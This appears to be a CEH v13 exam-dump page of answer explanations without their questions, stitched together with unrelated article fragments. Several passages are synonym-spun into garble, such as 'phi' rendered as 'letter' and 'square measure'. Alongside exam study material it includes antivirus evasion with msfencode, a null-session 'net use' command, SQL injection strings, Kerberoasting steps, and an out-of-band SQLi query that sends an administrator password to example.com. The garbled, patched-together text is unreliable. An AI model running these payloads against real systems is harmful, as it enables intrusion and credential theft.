Free and Premium ECCouncil 312-50v13 Dumps Questions Answers

Comprehensive and Detailed Explanation:

Wireshark on Windows requires WinPcap to operate. WinPcap is a packet capture library that allows network interfaces to operate in promiscuous mode, which is essential for sniffing traffic.

From CEH v13 Courseware:

Module 8: Sniffing → Sniffing Tools → WinPcap for Windows

In CEH v13 Module 12: Hacking Web Applications, the N-tier architecture is explained as a model used in web applications, typically with:

Presentation tier – User interface (UI) that interacts with the user.

Logic tier (also known as application or business logic layer) – Processes commands, makes logical decisions, and handles data movement and processing between the UI and the database.

Data tier – Manages database access and data storage.

So, the Logic tier is responsible for:

Handling the business rules.

Processing user inputs.

Accessing and manipulating data from the database.

One of the best ways to avoid being stopped by antivirus software is to encode our payload with msfencode. Msfencode is a useful tool that alters the code in an executable so that it looks different to antivirus software but will still run the same way. Much as the binary attachment in email is encoded in Base64, msfencode encodes the original executable in a new binary. Then, when the executable is run, msfencode decodes the original code into memory and exe-cutes it.

DNS spoofing is a threat that copies the legitimate server destinations to divert the domain's traffic. Ignorant these attacks, the users are redirected to malicious websites, which results in insensitive and personal data being leaked. It is a method of attack where your DNS server is tricked into saving a fake DNS entry. This will make the DNS server recall a fake site for you, thereby posing a threat to vital information stored on your server or computer.

The cache poisoning codes are often found in URLs sent through spam emails. These emails are sent to prompt users to click on the URL, which infects their computer. When the computer is poisoned, it will divert you to a fake IP address that looks like a real thing. This way, the threats are injected into your systems as well.

Different Stages of Attack of DNS Cache Poisoning:

- The attacker proceeds to send DNS queries to the DNS resolver, which forwards the Root/TLD authoritative DNS server request and awaits an answer.

- The attacker overloads the DNS with poisoned responses that contain several IP addresses of the malicious website. To be accepted by the DNS resolver, the attacker's response should match a port number and the query ID field before the DNS response. Also, the attackers can force its response to increasing their chance of success.

- If you are a legitimate user who queries this DNS resolver, you will get a poisoned response from the cache, and you will be automatically redirected to the malicious website.

The given command is used to establish a null session connection with the IPC$ share on a Windows machine. IPC$ (Inter-Process Communication) is a special hidden share used for Windows inter-process communication, and when connected with blank credentials, it allows anonymous access to certain system information — a common step in enumeration.

Command breakdown:

net use \target\ipc$ "" /u:""

→ Initiates a connection using a blank username and password (null session).

From CEH v13 Courseware:

Module 04: Enumeration

Topic: Null Sessions and SMB Enumeration

CEH v13 Study Guide states:

“A null session allows unauthorized users to connect to a Windows machine and extract information like usernames, shares, and policies. Null sessions exploit the default settings of the IPC$ share and are typically initiated using net use commands.”

Incorrect Options:

A/B: Accessing the etc/passwd or SAM directly is not the function of this command.

C: Samba uses SMB, but this is targeting a Windows system.

E: Cisco router enumeration involves SNMP, not Windows IPC$.

True Positive - IDS referring a behavior as an attack, in real life it is

True Negative - IDS referring a behavior not an attack and in real life it is not

False Positive - IDS referring a behavior as an attack, in real life it is not

False Negative - IDS referring a behavior not an attack, but in real life is an attack.

False Negative - is the most serious and dangerous state of all !!!!

According to the CEH attack methodology, once an attacker obtains initial access—whether through exploitation, misconfiguration, or credential compromise—the next critical phase is privilege escalation. Gaining system-level or administrative control is essential for maintaining persistence, accessing protected data, modifying system configurations, and pivoting further into the network. Privilege escalation exploits target kernel flaws, misconfigured services, improper permission settings, or vulnerable drivers. CEH emphasizes that performing a DoS attack disrupts the engagement and provides no strategic advantage. Similarly, CSRF targets web applications rather than operating systems, and brute-force password attempts are inefficient, noisy, and often ineffective once local access has already been established. By leveraging privilege escalation techniques, the tester converts limited user access into full system control, enabling comprehensive post-exploitation activities aligned with CEH system hacking procedures.

In CEH v13 Module 01: Introduction to Ethical Hacking, Gray Hat hackers are described as those who operate between ethical and unethical lines:

Gray Hat Characteristics:

Discover vulnerabilities without permission.

May explore or exploit them without malicious intent, but also without authorization.

May or may not disclose them after exploration.

Not fully black hat (malicious), nor white hat (authorized and ethical).

In this case, John explored sensitive employee data without authorization, even though he worked for the organization. That behavior places him in the gray hat category.

Option Clarification:

A. Cybercriminal: Generally linked to criminal activities for gain.

B. Black hat: Unauthorized access with malicious or financial intent.

C. White hat: Authorized ethical hackers.

D. Gray hat: Correct – Unauthorized, curious access without immediate harm.

Social engineering attacks that target business processes are especially effective when they mimic legitimate workflows. CEH learning materials emphasize that attackers often exploit trust relationships and organizational procedures rather than attempting broad or generic phishing methods. In the context of HR operations, onboarding portals are highly trusted and frequently accessed by new employees who expect to enter personal information, submit documents, and receive initial network credentials. By creating a fake onboarding portal that closely resembles the organization’s internal system, an attacker can collect credentials without triggering suspicion because the action being requested appears normal and expected. This method leverages procedural familiarity, brand consistency, and the implied authority of HR communications, making it far more effective than generic phishing emails or unsolicited social media messages. Phone calls, while sometimes useful, involve real-time interaction and increase the chance of detection. The fake portal, however, seamlessly integrates into existing processes, making it the most effective and lowest-profile approach for acquiring network credentials.

CEH explains that SQL injection testing should begin with controlled, intentional manipulation of SQL syntax to determine whether user input is improperly concatenated into backend queries. While destructive queries like DROP TABLE are not recommended in real-world ethical hacking engagements, CEH uses this example as a conceptual demonstration of how SQLi can influence database commands. In practice, a penetration tester would more safely use benign tautologies such as ' OR '1'='1 to test whether unauthorized data is returned. However, within CEH’s theoretical framing, injecting a clearly malicious SQL command demonstrates whether the input is executed at the database level. This validates improper sanitization, the use of dynamic SQL queries, and missing parameterized input handling. CEH stresses that SQLi is among the most critical vulnerabilities because it allows attackers to bypass authentication, exfiltrate data, or manipulate the database structure. XSS, brute-forcing, and directory traversal do not test SQL query manipulation and therefore do not confirm SQL injection.

DNS uses Ports 53 which is almost always open on systems, firewalls, and clients to transmit DNS queries. instead of the more familiar Transmission Control Protocol (TCP) these queries use User Datagram Protocol (UDP) due to its low-latency, bandwidth and resource usage compared TCP-equivalent queries. UDP has no error or flow-control capabilities, nor does it have any integrity checking to make sure the info arrived intact.

How is internet use (browsing, apps, chat etc) so reliable then? If the UDP DNS query fails (it’s a best-effort protocol after all) within the first instance, most systems will retry variety of times and only after multiple failures, potentially switch to TCP before trying again; TCP is additionally used if the DNS query exceeds the restrictions of the UDP datagram size – typically 512 bytes for DNS but can depend upon system settings.

Figure 1 below illustrates the essential process of how DNS operates: the client sends a question string (for example, mail.google[.]com during this case) with a particular type – typically A for a number address. I’ve skipped the part whereby intermediate DNS systems may need to establish where ‘.com’ exists, before checking out where ‘google[.]com’ are often found, and so on.

Many worms and scanners are created to seek out and exploit systems running telnet. Given these facts, it’s really no surprise that telnet is usually seen on the highest Ten Target Ports list. Several of the vulnerabilities of telnet are fixed. They require only an upgrade to the foremost current version of the telnet Daemon or OS upgrade. As is usually the case, this upgrade has not been performed on variety of devices. this might flow from to the very fact that a lot of systems administrators and users don’t fully understand the risks involved using telnet. Unfortunately, the sole solution for a few of telnets vulnerabilities is to completely discontinue its use. the well-liked method of mitigating all of telnets vulnerabilities is replacing it with alternate protocols like ssh. Ssh is capable of providing many of an equivalent functions as telnet and a number of other additional services typical handled by other protocols like FTP and Xwindows. Ssh does still have several drawbacks to beat before it can completely replace telnet. it’s typically only supported on newer equipment. It requires processor and memory resources to perform the info encryption and decryption. It also requires greater bandwidth than telnet thanks to the encryption of the info . This paper was written to assist clarify how dangerous the utilization of telnet are often and to supply solutions to alleviate the main known threats so as to enhance the general security of the web

Once a reputation is resolved to an IP caching also helps: the resolved name-to-IP is usually cached on the local system (and possibly on intermediate DNS servers) for a period of your time . Subsequent queries for an equivalent name from an equivalent client then don’t leave the local system until said cache expires. Of course, once the IP address of the remote service is understood , applications can use that information to enable other TCP-based protocols, like HTTP, to try to to their actual work, for instance ensuring internet cat GIFs are often reliably shared together with your colleagues.

So, beat all, a couple of dozen extra UDP DNS queries from an organization’s network would be fairly inconspicuous and will leave a malicious payload to beacon bent an adversary; commands could even be received to the requesting application for processing with little difficulty.

Zone transfers (AXFR) are DNS operations that replicate zone data from a primary server to a secondary server. These can be abused during DNS enumeration if improperly secured.

CEH v13 recommends using the following tools for attempting or testing zone transfers:

A. NSLookup – supports AXFR using set type=any or set type=AXFR

C. Dig – dig @ns.example.com example.com AXFR

D. Sam Spade – GUI tool capable of DNS zone transfer

E. Host – command-line tool used for DNS lookups and AXFR

Incorrect Tools:

B. Finger – used for user enumeration, not DNS

F. Netcat – general-purpose networking tool, not specific to DNS

G. Neotrace – used for traceroute/path tracing, not DNS

This is a fairly simple question. You must to understand what a subnet mask is and how it works.

A subnetwork or subnet is a logical subdivision of an IP network.The practice of dividing a network into two or more networks is called subnetting.

Computers that belong to the same subnet are addressed with an identical most-significant bit-group in their IP addresses. This results in the logical division of an IP address into two fields: the network number or routing prefix and the rest field or host identifier. The rest field is an identifier for a specific host or network interface.

The routing prefix may be expressed in Classless Inter-Domain Routing (CIDR) notation written as the first address of a network, followed by a slash character (/), and ending with the bit-length of the prefix. For example, 198.51.100.0/24 is the prefix of the Internet Protocol version 4 network starting at the given address, having 24 bits allocated for the network prefix, and the remaining 8 bits reserved for host addressing. Addresses in the range 198.51.100.0 to 198.51.100.255 belong to this network. The IPv6 address specification 2001:db8::/32 is a large address block with 296 addresses, having a 32-bit routing prefix.

For IPv4, a network may also be characterized by its subnet mask or netmask, which is the bitmask that when applied by a bitwise AND operation to any IP address in the network, yields the routing prefix. Subnet masks are also expressed in dot-decimal notation like an address. For example, 255.255.255.0 is the subnet mask for the prefix 198.51.100.0/24.

File created by Bash, a Unix-based shell program commonly used on Mac OS X and Linux operating systems; stores a history of user commands entered at the command prompt; used for viewing old commands that are executed.

BASH_HISTORY files are hidden files with no filename prefix. They always use the filename .bash_history.

NOTE: Bash is that the shell program employed by Apple Terminal.

Our goal is to assist you understand what a file with a *.bash_history suffix is and the way to open it.

The Bash History file type, file format description, and Mac and Linux programs listed on this page are individually researched and verified by the FileInfo team. we attempt for 100% accuracy and only publish information about file formats that we’ve tested and validated.

Network Access Control (NAC) solutions often authenticate only the first device connected to a port. CEH explains that attackers can insert a rogue device behind an already authenticated host, bypassing NAC checks. This creates a transparent bridge that forwards legitimate traffic while injecting attacker-controlled communications.

Comprehensive and Detailed Explanation:

The netstat (network statistics) command is used to display:

Current TCP/UDP connections

Listening ports

Routing tables

Interface statistics

This is one of the most common tools for network troubleshooting and monitoring on Windows and Linux.

From CEH v13 Courseware:

Module 3: Scanning Networks → System and Network Utilities

Comprehensive and Detailed Explanation:

VCloud-based (also known as Cloud-based or Cloud-assisted) antivirus leverages cloud computing to:

Offload detection and analysis to powerful remote servers

Provide real-time updates and threat intelligence

Aggregate data from multiple endpoints to improve detection

This method is efficient, especially for zero-day threats and large-scale protection.

From CEH v13 Courseware:

Module 6: Malware Threats → Modern Antivirus Technologies

A man-in-the-middle attack using forged ICMP and ARP spoofing is a type of network-level session hijacking attack where an attacker inserts their machine into the communication between a client and a server, making it seem like the packets are flowing through the original path. This technique is primarily used to reroute the packets and intercept or modify the data exchanged between the client and the server.

A man-in-the-middle attack using forged ICMP and ARP spoofing works as follows1:

The attacker sends a forged ICMP redirect message to the client, claiming to be the gateway. The ICMP redirect message tells the client to use the attacker’s machine as the next hop for reaching the server’s network. The client updates its routing table accordingly and starts sending packets to the attacker’s machine instead of the gateway.

The attacker also sends a forged ARP reply message to the client, claiming to be the server. The ARP reply message associates the attacker’s MAC address with the server’s IP address. The client updates its ARP cache accordingly and starts sending packets to the attacker’s MAC address instead of the server’s MAC address.

The attacker receives the packets from the client and forwards them to the server, acting as a relay. The attacker can also monitor, modify, or drop the packets as they wish. The server responds to the packets and sends them back to the attacker, who then forwards them to the client. The client and the server are unaware of the attacker’s presence and think they are communicating directly with each other.

Therefore, Jake is studying a man-in-the-middle attack using forged ICMP and ARP spoofing, which is a type of network-level session hijacking attack.

The Blackjacking attack involves leveraging a compromised BlackBerry device and its connection through the BlackBerry Enterprise Server (BES) to tunnel back into the internal corporate network, bypassing perimeter firewalls. The tool used in this method is BBProxy.

BBProxy is installed on the BlackBerry device and establishes a covert tunnel via BES, allowing attackers to pivot into the internal LAN from outside the perimeter.

Reference – CEH v13 Official Study Guide:

Module 17: Hacking Mobile Platforms

Quote:

“Blackjacking is a technique in which attackers use BBProxy to exploit a trusted path from a BlackBerry device to the corporate LAN through BES.”

Incorrect Options Explained:

A. Paros Proxy is a web proxy used for intercepting HTTP/S traffic.

C. Blooover is used for Bluetooth security auditing.

D. BBCrack is used for password recovery on BlackBerry devices, not for tunneling.

===========

A Kerberoasting attack is a technique that exploits the weak encryption of Kerberos service tickets to obtain the password hashes of service accounts that have a Service Principal Name (SPN) associated with them. The attacker can then crack the hashes offline and use the plaintext passwords to impersonate the service accounts and access network resources.

A Kerberoasting attack follows these steps1:

The attacker impersonates a legitimate Active Directory user and authenticates to the Key Distribution Center (KDC) in the Active Directory environment. They then request a Ticket Granting Ticket (TGT) from the KDC to access network resources. The KDC complies because the attacker is impersonating a legitimate user.

The attacker enumerates the service accounts that have an SPN using tools like GetUserSPNs.py or PowerView. They then request a service ticket for each SPN from the KDC using their TGT. The KDC grants the service tickets, which are encrypted with the password hashes of the service accounts.

The attacker captures the service tickets and takes them offline. They then attempt to crack the password hashes using tools like Hashcat or John the Ripper. They can use various methods, such as brute force, dictionary, or hybrid attacks, to guess the passwords. Alternatively, they can use a PRINCE attack, which is a probabilistic password generation technique that combines common words, patterns, and transformations to generate likely passwords2.

Once the attacker obtains the plaintext passwords of the service accounts, they can use them to authenticate as the service accounts and access the network resources that they are authorized to.

Therefore, the next step that the analyst should take after obtaining a valid TGT is to request a service ticket for the SPN of the target service account. This will allow them to capture the service ticket and extract the password hash of the service account.

PHI stands for Protected Health info. The HIPAA Privacy Rule provides federal protections for private health info held by lined entities and provides patients an array of rights with regard to that info. under HIPAA phi is considered to be any identifiable health info that’s used, maintained, stored, or transmitted by a HIPAA-covered entity – a healthcare provider, health plan or health insurer, or a aid clearinghouse – or a business associate of a HIPAA-covered entity, in relation to the availability of aid or payment for aid services.

It is not only past and current medical info that’s considered letter under HIPAA Rules, however also future info concerning medical conditions or physical and mental health related to the provision of care or payment for care. phi is health info in any kind, together with physical records, electronic records, or spoken info.

Therefore, letter includes health records, medical histories, lab check results, and medical bills. basically, all health info is considered letter once it includes individual identifiers. Demographic info is additionally thought of phi underneath HIPAA Rules, as square measure several common identifiers like patient names, Social Security numbers, Driver’s license numbers, insurance details, and birth dates, once they square measure connected with health info.

The eighteen identifiers that create health info letter are:

Names

Dates, except year

phonephone numbers

Geographic information

FAX numbers

Social Security numbers

Email addresses

case history numbers

Account numbers

Health arrange beneficiary numbers

Certificate/license numbers

Vehicle identifiers and serial numbers together with license plates

Web URLs

Device identifiers and serial numbers

net protocol addresses

Full face photos and comparable pictures

Biometric identifiers (i.e. retinal scan, fingerprints)

Any distinctive identifying variety or code

One or a lot of of those identifiers turns health info into letter, and phi HIPAA Privacy Rule restrictions can then apply that limit uses and disclosures of the data. HIPAA lined entities and their business associates will ought to guarantee applicable technical, physical, and body safeguards are enforced to make sure the confidentiality, integrity, and availability of phi as stipulated within the HIPAA Security Rule.

The purpose of this idea is to permit multiple customers to figure on joint projects and applications that belong to the community, where it’s necessary to possess a centralized clouds infrastructure. In other words, Community Cloud may be a distributed infrastructure that solves the precise problems with business sectors by integrating the services provided by differing types of clouds solutions.

The communities involved in these projects, like tenders, business organizations, and research companies, specialise in similar issues in their cloud interactions. Their shared interests may include concepts and policies associated with security and compliance considerations, and therefore the goals of the project also .

Community Cloud computing facilitates its users to spot and analyze their business demands better. Community Clouds could also be hosted during a data center, owned by one among the tenants, or by a third-party cloud services provider and may be either on-site or off-site.

Community Cloud Examples and Use Cases

Cloud providers have developed Community Cloud offerings, and a few organizations are already seeing the advantages . the subsequent list shows a number of the most scenarios of the Community Cloud model that’s beneficial to the participating organizations.

Multiple governmental departments that perform transactions with each other can have their processing systems on shared infrastructure. This setup makes it cost-effective to the tenants, and may also reduce their data traffic.

Benefits of Community Clouds

Community Cloud provides benefits to organizations within the community, individually also as collectively. Organizations don’t need to worry about the safety concerns linked with Public Cloud due to the closed user group.

This recent cloud computing model has great potential for businesses seeking cost-effective cloud services to collaborate on joint projects, because it comes with multiple advantages.

Openness and Impartiality

Community Clouds are open systems, and that they remove the dependency organizations wear cloud service providers. Organizations are able to do many benefits while avoiding the disadvantages of both public and personal clouds.

Flexibility and Scalability

Ensures compatibility among each of its users, allowing them to switch properties consistent with their individual use cases. They also enable companies to interact with their remote employees and support the utilization of various devices, be it a smartphone or a tablet. This makes this sort of cloud solution more flexible to users’ demands.

Consists of a community of users and, as such, is scalable in several aspects like hardware resources, services, and manpower. It takes under consideration demand growth, and you simply need to increase the user-base.

High Availability and Reliability

Your cloud service must be ready to make sure the availability of knowledge and applications in the least times. Community Clouds secure your data within the same way as the other cloud service, by replicating data and applications in multiple secure locations to guard them from unforeseen circumstances.

Cloud possesses redundant infrastructure to form sure data is out there whenever and wherever you would like it. High availability and reliability are critical concerns for any sort of cloud solution.

Security and Compliance

Two significant concerns discussed when organizations believe cloud computing are data security and compliance with relevant regulatory authorities. Compromising each other’s data security isn’t profitable to anyone during a Community Cloud.

Users can configure various levels of security for his or her data. Common use cases:

the power to dam users from editing and downloading specific datasets.

Making sensitive data subject to strict regulations on who has access to Sharing sensitive data unique to a specific organization would bring harm to all or any the members involved.

What devices can store sensitive data.

Convenience and Control

Conflicts associated with convenience and control don’t arise during a Community Cloud. Democracy may be a crucial factor the Community Cloud offers as all tenants share and own the infrastructure and make decisions collaboratively. This setup allows organizations to possess their data closer to them while avoiding the complexities of a personal Cloud.

Less Work for the IT Department

Having data, applications, and systems within the cloud means you are doing not need to manage them entirely. This convenience eliminates the necessity for tenants to use extra human resources to manage the system. Even during a self-managed solution, the work is split among the participating organizations.

Environment Sustainability

In the Community Cloud, organizations use one platform for all their needs, which dissuades them from investing in separate cloud facilities. This shift introduces a symbiotic relationship between broadening and shrinking the utilization of cloud among clients. With the reduction of organizations using different clouds, resources are used more efficiently, thus resulting in a smaller carbon footprint.

According to CEH v13 Module 04: Enumeration and Module 08: Sniffing, packet sniffers such as Wireshark, tcpdump, and EtherApe are designed to capture and analyze network traffic at the data link (Layer 2) and network (Layer 3) layers of the OSI model.

At Layer 2 (Data Link), sniffers capture Ethernet frames, including MAC addresses and frame type.

At Layer 3 (Network), sniffers interpret IP headers, IP addresses, and transport layer protocols (TCP, UDP).

They do not operate at Layer 1 (Physical) as they do not deal with raw electrical signals.

Packet sniffers also do not manipulate traffic but passively monitor and capture packets that traverse the network.

Therefore, the correct statement is:

Packet Sniffers operate on both Layer 2 & Layer 3 of the OSI model.

Option Analysis:

A. Layer 1: ❌ Incorrect. Layer 1 is the physical layer (electrical, optical signals).

B. Layer 2: ❌ Partially correct but incomplete.

C. Both Layer 2 & Layer 3: Correct. Full coverage of packet sniffing capabilities.

D. Layer 3: ❌ Partially correct but incomplete.

Reference from CEH v13 Courseware:

Module 08 – Sniffing, Section: How Packet Sniffers Work

CEH iLabs: Capturing Ethernet Frames and IP Packets Using Wireshark

OSI Model Mapping in CEH Official eBook

In CEH v13 Module 06: Malware Threats, the Cyber Kill Chain is broken down into its seven stages:

Reconnaissance

Weaponization

Delivery

Exploitation

Installation

Command & Control

Actions on Objectives

Step 3 – Delivery:

Refers to the transmission of the malicious payload to the victim.

Can occur through email, web downloads, USB drives, etc.

Correct Example:

A. “An intruder sends a malicious attachment via email to a target” — This is delivery.

Other Options:

B. Weaponization

C. Exploitation

D. Installation

Kismet is a network detector, packet sniffer, and intrusion detection system for 802.11 wireless LANs. Kismet will work with any wireless card which supports raw monitoring mode, and can sniff 802.11a, 802.11b, 802.11g, and 802.11n traffic.

The longer an adversary has this level of access, the greater the impact. Defenders must detect this stage as quickly as possible and deploy tools which can enable them to gather forensic evidence. One example would come with network packet captures, for damage assessment. Only now, after progressing through the primary six phases, can intruders take actions to realize their original objectives. Typically, the target of knowledge exfiltration involves collecting, encrypting and extracting information from the victim(s) environment; violations of knowledge integrity or availability are potential objectives also . Alternatively, and most ordinarily , the intruder may only desire access to the initial victim box to be used as a hop point to compromise additional systems and move laterally inside the network. Once this stage is identified within an environment, the implementation of prepared reaction plans must be initiated. At a minimum, the plan should include a comprehensive communication plan, detailed evidence must be elevated to the very best ranking official or board , the deployment of end-point security tools to dam data loss and preparation for briefing a CIRT Team. Having these resources well established beforehand may be a “MUST” in today’s quickly evolving landscape of cybersecurity threats

An ‘out-of-band’ SQL Injection attack is a type of SQL injection where the attacker does not receive a response from the attacked application on the same communication channel but instead is able to cause the application to send data to a remote endpoint that they control1. This technique can be used to bypass input validation and pattern matching measures that are based on the application’s responses. The attacker can use various SQL functions or commands that trigger DNS or HTTP requests, such as load_file, copy, dbms_ldap, etc., depending on the SQL server type123. By concatenating the data they want to extract with a domain name they own, the attacker can receive the data via DNS or HTTP logs. For example, the attacker can inject the following SQL query to exfiltrate the password of the administrator user from a MySQL database:

SELECT load_file(CONCAT('\\\\',(SELECT password FROM users WHERE username='administrator'),'.example.com\\\\test.txt'))

This will cause the application to send a DNS request to the domain password.example.com, where password is the actual value of the administrator’s password1.

Software as a service (SaaS) allows users to attach to and use cloud-based apps over the web. Common examples ar email, calendaring and workplace tool (such as Microsoft workplace 365).

SaaS provides a whole software solution that you get on a pay-as-you-go basis from a cloud service provider. You rent the use of an app for your organisation and your users connect with it over the web, typically with an internet browser. All of the underlying infrastructure, middleware, app software system and app knowledge ar located within the service provider’s knowledge center. The service provider manages the hardware and software system and with the appropriate service agreement, can make sure the availability and also the security of the app and your data as well. SaaS allows your organisation to induce quickly up and running with an app at token upfront cost.

Common SaaS scenarios

This tool having used a web-based email service like Outlook, Hotmail or Yahoo! Mail, then you have got already used a form of SaaS. With these services, you log into your account over the web, typically from an internet browser. the e-mail software system is found on the service provider’s network and your messages ar hold on there moreover. you can access your email and hold on messages from an internet browser on any laptop or Internet-connected device.

The previous examples are free services for personal use. For organisational use, you can rent productivity apps, like email, collaboration and calendaring; and sophisticated business applications like client relationship management (CRM), enterprise resource coming up with (ERP) and document management. You buy the use of those apps by subscription or per the level of use.

Advantages of SaaS

Gain access to stylish applications. to supply SaaS apps to users, you don’t ought to purchase, install, update or maintain any hardware, middleware or software system. SaaS makes even sophisticated enterprise applications, like ERP and CRM, affordable for organisations that lack the resources to shop for, deploy and manage the specified infrastructure and software system themselves.

Pay just for what you utilize. you furthermore may economize because the SaaS service automatically scales up and down per the level of usage.

Use free shopper software system. Users will run most SaaS apps directly from their web browser without needing to transfer and install any software system, though some apps need plugins. this suggests that you simply don’t ought to purchase and install special software system for your users.

Mobilise your hands simply. SaaS makes it simple to “mobilise” your hands as a result of users will access SaaS apps and knowledge from any Internet-connected laptop or mobile device. You don’t ought to worry concerning developing apps to run on differing types of computers and devices as a result of the service supplier has already done therefore. additionally, you don’t ought to bring special experience aboard to manage the safety problems inherent in mobile computing. A fastidiously chosen service supplier can make sure the security of your knowledge, no matter the sort of device intense it.

Access app knowledge from anyplace. With knowledge hold on within the cloud, users will access their info from any Internet-connected laptop or mobile device. And once app knowledge is hold on within the cloud, no knowledge is lost if a user’s laptop or device fails.

The protocol that you would recommend to the team to achieve the secure exchange of the symmetric key is the Diffie-Hellman protocol. The Diffie-Hellman protocol is a key agreement protocol that allows two or more parties to establish a shared secret key over an unsecured communication channel, without having to exchange the key itself. The Diffie-Hellman protocol works as follows12:

The parties agree on a large prime number p and a generator g, which are public parameters that can be known by anyone.

Each party chooses a random private number a or b, which are kept secret from anyone else.

Each party computes a public value A or B, by raising g to the power of a or b modulo p, i.e., A = g^a mod p and B = g^b mod p.

Each party sends their public value A or B to the other party over the unsecured channel.

Each party computes the shared secret key K, by raising the received public value to the power of their own private number modulo p, i.e., K = A^b mod p = B^a mod p.

The parties can now use the shared secret key K to encrypt and decrypt the data using a symmetric key encryption algorithm, such as AES or 3DES.

The Diffie-Hellman protocol can ensure the secure exchange of the symmetric key because it relies on the mathematical difficulty of computing discrete logarithms, which means that it is hard to find the private numbers a or b given the public values A or B, g, and p. Therefore, an attacker who intercepts the public values A or B cannot easily compute the shared secret key K, and thus cannot decrypt the data encrypted with K12.

The other options are not as appropriate as option B for the following reasons:

A. Implementing SSL certificates on your company’s web servers: This option is not relevant because SSL certificates are not used to exchange symmetric keys, but to authenticate the identity of the web servers and to establish a secure connection using public key encryption. SSL certificates are digital certificates that contain the public key and the identity information of the web server, and are issued and signed by a trusted certificate authority (CA). When a client connects to a web server, the web server sends its SSL certificate to the client, who verifies it with the CA. If the verification is successful, the client and the web server use the public key in the certificate to exchange a symmetric key, which is then used to encrypt and decrypt the data. However, this option does not address the scenario of transmitting data over an unsecured communication channel, which may not involve web servers or SSL certificates34.

C. Switching all data transmission to the HTTPS protocol: This option is not sufficient because HTTPS protocol is not a protocol for exchanging symmetric keys, but a protocol for securing web traffic using SSL or TLS encryption. HTTPS protocol is a combination of HTTP protocol and SSL or TLS protocol, which means that it uses HTTP for the application layer communication and SSL or TLS for the transport layer encryption. When a client requests a web page from a web server using HTTPS protocol, the client and the web server establish a secure connection using SSL or TLS protocol, which involves the exchange of SSL certificates and a symmetric key, as explained in option A. Then, the client and the web server use the symmetric key to encrypt and decrypt the HTTP data. However, this option does not address the scenario of transmitting data over an unsecured communication channel, which may not involve web servers or HTTPS protocol5 .

D. Utilizing SSH for secure remote logins to the servers: This option is not applicable because SSH is not a protocol for exchanging symmetric keys, but a protocol for securing remote access to servers using public key authentication and encryption. SSH is a protocol that allows a client to securely connect to a server and execute commands or transfer files over an encrypted channel. SSH uses public key cryptography to authenticate the identity of the server and the client, and to exchange a symmetric key, which is then used to encrypt and decrypt the data. However, this option does not address the scenario of transmitting data over an unsecured communication channel, which may not involve remote logins or SSH protocol .

Hashing algorithms (such as SHA-256 or MD5) are used to generate a unique digital fingerprint of a file or message. Once the CFO approves the financial statement, generating a hash value for the document ensures that if any modification occurs (even a single bit), the hash value will change, indicating a breach in data integrity.

This solution directly addresses integrity — one of the three components of the CIA triad (Confidentiality, Integrity, Availability). Password protection or transferring via USB does not ensure integrity; they offer access control and delivery security.

In the Windows security model, SID ending in -500 is reserved for the built-in Administrator account. The SID seen in the image:

S-1-5-21-343818398-789336058-1343024091-500 → maps to user Joe

This proves that Joe is the true built-in administrator account on the domain EARTH.

From CEH v13 Courseware:

Module 4: Enumeration

Topic: SID Enumeration and Account Discovery

CEH v13 Study Guide states:

“In Windows, the account with RID 500 is always the default Administrator account. Even if renamed, its SID remains ending in -500. Enumeration of this SID allows attackers to identify privileged accounts.”

Incorrect Options:

A: Incomplete — it is not just that Joe has SID 500, but that SID 500 means Joe is the administrator.

B/C: These commands don’t validate Guest account status.

E: Incorrect — these commands explicitly prove administrator identity.

The command usage that would best serve your objective to find where the NTP server obtains the time from and to trace the list of NTP servers connected to the network is ntptrace -n -m 5 192.168.1.1. This command usage works as follows:

ntptrace is a tool that determines where a given NTP server gets its time from, and follows the chain of NTP servers back to their master time source. For example, a stratum 0 server, which is a device that directly obtains the time from a physical source, such as an atomic clock or a GPS receiver1.

-n is a flag that outputs host IP addresses instead of host names. This can be useful if the host names are not resolvable or if the IP addresses are more informative1.

-m 5 is a flag that specifies the maximum number of hosts to be traced. This can be useful to limit the output and avoid tracing irrelevant or unreachable hosts1.

192.168.1.1 is the IP address of the NTP server in the demilitarized zone, which is the starting point of the trace. This can be useful to find out the source and the path of the time synchronization for the network system1.

By using this command usage, the output will show the IP addresses, the stratum, the offset, the sync distance, and the reference ID of each NTP server in the chain, up to five hosts. This can provide valuable information about the accuracy, the reliability, and the security of the time service for the network system1.

The other options are not as suitable as option D for the following reasons:

A. ntptrace -m 5 192.168.1.1: This option is similar to option D, but it does not use the -n flag, which means that it will output host names instead of IP addresses. This can be less useful if the host names are not resolvable or if the IP addresses are more informative1.

B. tptrace 192.1681.: This option is incorrect because it uses a wrong tool name and a wrong IP address. tptrace is not a valid tool name, and 192.1681. is not a valid IP address. The correct tool name is ntptrace, and the correct IP address is 192.168.1.11.

C. ntptrace -n localhost: This option is not effective because it uses localhost as the starting point of the trace, which means that it will only show the local host’s time source. This can be useful to check the local host’s time configuration, but it does not help to find out the time source and the trace of the NTP server in the demilitarized zone, which is the objective of this scenario1.

Rating CVSS Score

None 0.0

Low 0.1 - 3.9

Medium 4.0 - 6.9

High 7.0 - 8.9

Critical 9.0 - 10.0

The Common Vulnerability Scoring System (CVSS) is an open framework for communicating the characteristics and severity of software vulnerabilities. CVSS consists of three metric groups: Base, Temporal, and Environmental. The Base metrics produce a score ranging from 0 to 10, which can then be modified by scoring the Temporal and Environmental metrics. A CVSS score is also represented as a vector string, a compressed textual representation of the values used to derive the score. Thus, CVSS is well suited as a standard measurement system for industries, organizations, and governments that need accurate and consistent vulnerability severity scores. Two common uses of CVSS are calculating the severity of vulnerabilities discovered on one's systems and as a factor in prioritization of vulnerability remediation activities. The National Vulnerability Database (NVD) provides CVSS scores for almost all known vulnerabilities.

Qualitative Severity Rating Scale

For some purposes, it is useful to have a textual representation of the numeric Base, Temporal and Environmental scores.

To block NetBIOS and related Windows networking traffic from traversing a firewall (especially from external sources), you should block the following ports:

Port 135 (TCP/UDP): Microsoft RPC endpoint mapper (DCOM/RPC)

Port 139 (TCP): NetBIOS Session Service

Port 445 (TCP): Direct-hosted SMB over TCP/IP (Windows 2000+)

These ports are commonly used for:

File sharing

RPC-based communication

Windows network services

From CEH v13 Official Courseware:

Module 3: Scanning Networks

Module 4: Enumeration

CEH v13 Study Guide states:

“To prevent external enumeration, remote file sharing, and NetBIOS attacks, administrators should block inbound access to ports 135, 139, and 445 on the firewall.”

Incorrect Options:

A (110): POP3 mail service

D (161): SNMP

F (1024): High ephemeral port; not specific to NetBIOS

Reverse engineering is the process of analyzing compiled software to reconstruct its source code or understand its structure and functionality. In the context of mobile applications:

It involves decompiling the APK (for Android) or IPA (for iOS) files.

Analysts can inspect the disassembled or decompiled code.

The goal is to uncover logic flaws, identify hardcoded secrets, debug issues, or assess security weaknesses.

